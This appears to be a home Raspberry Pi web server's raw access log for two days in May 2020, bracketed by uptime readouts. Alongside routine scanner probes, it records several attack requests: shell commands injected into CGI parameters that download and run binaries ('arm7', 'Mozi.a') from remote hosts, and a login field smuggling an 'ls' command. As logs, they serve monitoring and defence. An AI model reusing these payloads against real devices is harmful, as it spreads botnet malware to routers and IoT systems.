Sun May 3 06:25:11 MDT 2020 06:25:11 up 68 days, 10:53, 1 user, load average: 0.54, 0.32, 0.29 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT pi tty7 :0 24Feb20 68days 1:24m 2.65s /usr/bin/lxsession -s LXDE-pi -e LXDE 165.16.37.150 - - [03/May/2020:12:39:22 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 83.34.162.179 - - [03/May/2020:13:38:48 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 zgrab/0.x" 150.158.108.170 - - [03/May/2020:13:55:58 +0000] "GET /TP/public/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 150.158.108.170 - - [03/May/2020:13:55:58 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 150.158.108.170 - - [03/May/2020:13:55:59 +0000] "GET /TP/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 150.158.108.170 - - [03/May/2020:13:55:59 +0000] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 150.158.108.170 - - [03/May/2020:13:56:00 +0000] "GET /html/public/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 150.158.108.170 - - [03/May/2020:13:56:02 +0000] "GET /public/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 150.158.108.170 - - [03/May/2020:13:56:03 +0000] "GET /TP/html/public/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 150.158.108.170 - - [03/May/2020:13:56:04 +0000] "GET /elrekt.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 150.158.108.170 - - [03/May/2020:13:56:05 +0000] "GET /index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 150.158.108.170 - - [03/May/2020:13:56:05 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 83.34.162.179 - - [03/May/2020:14:26:39 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 zgrab/0.x" 144.217.207.8 - - [03/May/2020:14:49:30 +0000] "GET /.bak HTTP/1.1" 404 0 "" "Mozilla/5.0 zgrab/0.x" 185.131.188.0 - - [03/May/2020:15:37:48 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 189.126.95.49 - - [03/May/2020:16:50:03 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 2.50.125.47 - - [03/May/2020:18:13:38 +0000] "POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://19ce033f.ngrok.io/arm7;${IFS}chmod${IFS}777${IFS HTTP/1.1" 400 0 "" "" 2.50.125.47 - - [03/May/2020:18:13:39 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 178.166.27.80 - - [03/May/2020:19:24:10 +0000] "GET / HTTP/1.1" 400 0 "" "" 150.136.4.6 - - [03/May/2020:19:55:40 +0000] "GET /console HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 150.136.4.6 - - [03/May/2020:19:55:40 +0000] "GET /cgi-bin/test-cgi HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 150.136.4.6 - - [03/May/2020:19:55:40 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 150.136.4.6 - - [03/May/2020:19:55:40 +0000] "GET /horde/imp/test.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 150.136.4.6 - - [03/May/2020:19:55:41 +0000] "GET /login.action HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 150.136.4.6 - - [03/May/2020:19:55:41 +0000] "GET /login?from=0.000000 HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 150.136.4.6 - - [03/May/2020:19:55:41 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 150.136.4.6 - - [03/May/2020:19:55:41 +0000] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 150.136.4.6 - - [03/May/2020:19:55:41 +0000] "GET /login/do_login HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 65.118.188.191 - - [03/May/2020:20:36:39 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 65.118.188.191 - - [03/May/2020:20:36:39 +0000] "GET / HTTP/1.1" 200 25000 "" "" 162.243.136.45 - - [03/May/2020:21:37:50 +0000] "GET /hudson HTTP/1.1" 404 0 "" "Mozilla/5.0 zgrab/0.x" 35.199.52.161 - - [03/May/2020:22:39:17 +0000] "UNKNOWN HTTP/1.0" 501 0 "" "" 93.43.219.6 - - [03/May/2020:22:40:19 +0000] "GET / HTTP/1.1" 400 0 "" "" 81.200.9.16 - - [04/May/2020:00:03:54 +0000] "GET /console HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 81.200.9.16 - - [04/May/2020:00:03:54 +0000] "GET /cgi-bin/test-cgi HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 81.200.9.16 - - [04/May/2020:00:03:55 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 81.200.9.16 - - [04/May/2020:00:03:56 +0000] "GET /horde/imp/test.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 81.200.9.16 - - [04/May/2020:00:03:56 +0000] "GET /login.action HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 81.200.9.16 - - [04/May/2020:00:03:56 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 81.200.9.16 - - [04/May/2020:00:03:57 +0000] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 81.200.9.16 - - [04/May/2020:00:03:57 +0000] "GET /login/do_login HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 81.200.9.16 - - [04/May/2020:00:03:58 +0000] "GET /login?from=-24487672766705943993242180112842967442152351293718128784242539359630079935374669542978477938017183709885228845573284184404808033119786924060783450791154730816709328896.000000 HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 185.237.177.112 - - [04/May/2020:00:15:13 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 179.214.120.7 - - [04/May/2020:00:25:59 +0000] "GET /adv,/cgi-bin/weblogin.cgi?username=admin%27%3Bls%20%23&password=asdf HTTP/1.1" 404 0 "" "Mozilla/5.0" 179.214.120.7 - - [04/May/2020:00:26:00 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 190.128.154.222 - - [04/May/2020:00:30:20 +0000] "HEAD / HTTP/1.1" 200 0 "" "" 190.128.154.222 - - [04/May/2020:00:30:20 +0000] "GET / HTTP/1.1" 200 25000 "" "" 190.128.154.222 - - [04/May/2020:00:30:21 +0000] "HEAD /invoker/EJBInvokerServlet HTTP/1.1" 404 0 "" "" 177.86.206.223 - - [04/May/2020:00:45:17 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 115.58.68.233 - - [04/May/2020:01:24:37 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://115.58.68.233:58128/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 0 "" "Hello, world" 58.93.227.79 - - [04/May/2020:01:58:05 +0000] "GET /phpmyadmin/ HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 94.140.114.17 - - [04/May/2020:02:31:54 +0000] "GET / HTTP/1.0" 200 25000 "" "Pandalytics/1.0 (https://domainsbot.com/pandalytics/)" 162.243.142.219 - - [04/May/2020:02:40:52 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 zgrab/0.x" 177.54.82.46 - - [04/May/2020:04:53:02 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 78.172.33.199 - - [04/May/2020:05:06:14 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 83.97.20.21 - - [04/May/2020:06:35:26 +0000] "GET / HTTP/1.0" 200 25000 "" "" 88.251.12.22 - - [04/May/2020:06:55:08 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 79.51.11.108 - - [04/May/2020:07:56:16 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 34.246.185.252 - - [04/May/2020:09:06:06 +0000] "GET / HTTP/1.1" 200 25000 "" "Apache-HttpClient/4.5.1 (Java/1.8.0_192)" 34.246.185.252 - - [04/May/2020:09:06:07 +0000] "GET / HTTP/1.1" 200 25000 "" "Java/1.8.0_192" 134.209.88.198 - - [04/May/2020:10:32:41 +0000] "POST /file_handler/file.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.52" 183.91.4.97 - - [04/May/2020:11:17:54 +0000] "POST /cgi-bin/mainfunction.cgi HTTP/1.1" 404 0 "" "XTC" 183.91.4.97 - - [04/May/2020:11:17:54 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 167.71.140.136 - - [04/May/2020:11:35:08 +0000] "GET /news.php?type=1&hash=01816aeeb45cfd2a8d29cad1b189b9c3&time=18:16:29 HTTP/1.1" 404 0 "" "Opera/9.80 (X11; Linux zvav; U; en) Presto/2.8.119 Version/11.10" Mon May 4 06:25:06 MDT 2020 06:25:06 up 69 days, 10:53, 1 user, load average: 0.48, 0.34, 0.30 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT pi tty7 :0 24Feb20 69days 1:24m 2.65s /usr/bin/lxsession -s LXDE-pi -e LXDE